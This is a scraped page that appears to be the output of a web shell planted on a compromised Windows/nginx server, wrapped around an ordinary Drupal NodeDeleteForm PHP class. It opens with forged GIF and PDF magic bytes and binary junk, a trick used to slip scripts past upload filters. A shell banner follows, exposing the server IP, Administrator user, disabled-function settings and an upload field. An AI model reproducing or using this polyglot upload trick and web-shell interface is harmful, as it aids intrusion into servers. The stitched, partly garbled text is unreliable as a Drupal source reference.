GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/node/src/Form/ |
Upload File : |
<?php namespace Drupal\node\Form; use Drupal\Core\Entity\ContentEntityDeleteForm; /** * Provides a form for deleting a node. */ class NodeDeleteForm extends ContentEntityDeleteForm { /** * {@inheritdoc} */ protected function getDeletionMessage() { /** @var \Drupal\node\NodeInterface $entity */ $entity = $this->getEntity(); $node_type_storage = $this->entityManager->getStorage('node_type'); $node_type = $node_type_storage->load($entity->bundle())->label(); if (!$entity->isDefaultTranslation()) { return $this->t('@language translation of the @type %label has been deleted.', [ '@language' => $entity->language()->getName(), '@type' => $node_type, '%label' => $entity->label(), ]); } return $this->t('The @type %title has been deleted.', [ '@type' => $node_type, '%title' => $this->getEntity()->label(), ]); } /** * {@inheritdoc} */ protected function logDeletionMessage() { /** @var \Drupal\node\NodeInterface $entity */ $entity = $this->getEntity(); $this->logger('content')->notice('@type: deleted %title.', ['@type' => $entity->getType(), '%title' => $entity->label()]); } }